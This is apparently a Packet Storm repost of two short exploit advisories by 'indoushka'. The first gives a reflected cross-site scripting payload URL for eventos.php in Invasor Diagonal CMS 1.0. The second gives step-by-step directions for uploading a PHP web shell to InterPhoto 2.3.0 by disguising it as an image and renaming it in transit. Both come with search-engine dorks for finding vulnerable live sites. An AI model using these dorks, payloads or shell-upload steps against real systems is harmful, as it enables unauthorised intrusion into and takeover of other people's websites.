    ====================================================================================================================================| # Title     : Invasor Diagonal CMS 1.0 XSS Vulnerability                                                                         || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : https://invasordiagonal.com                                                                                        |  | # Dork      : intext:''web development // invasor diagonal''                                                                     |====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  use payload : /eventos.php?id=%3Cscript%3Ealert(/indoushka/);%3C/script%3E[+]  http://target_site/eventos.php?id=%3Cscript%3Ealert(/indoushka/);%3C/script%3EGreetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

Invasor Diagonal CMS 1.0 Cross Site Scripting

InterPhoto version 2.3.0 suffers from a remote shell upload vulnerability.

    ====================================================================================================================================| # Title     : InterPhoto 2.3.0 Persians Remote Shell Upload vulnerability                                                        || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : http://www.dl.persianscript.ir/script/InterPhoto_2.3.0_Persians(PersianScript.ir).zip                              || # Dork      : InterPhoto 2.3.0                                    '                                                              |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Register an Account : http://site/register.php  [+] Upload the shell.php instead of your photo (shell.php.jpg) : http://site/mydesk.upload.php[+] so rename shell.php.jpg to shell.php by Live HTTP Headers.(Mozilla FireFox Add-ons)  [+] Locate the shell in this route : http://site/MyWebsiteImages/XX/original/YY.php  [+] XX=Name of This Folder Like This Pattern : Year_Month_RandomChar(Sample : 2012_10_oZUGCD7IP81I)  [+] YY=Name of Shell.(Renamed to Random Char)Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Source

Packet Storm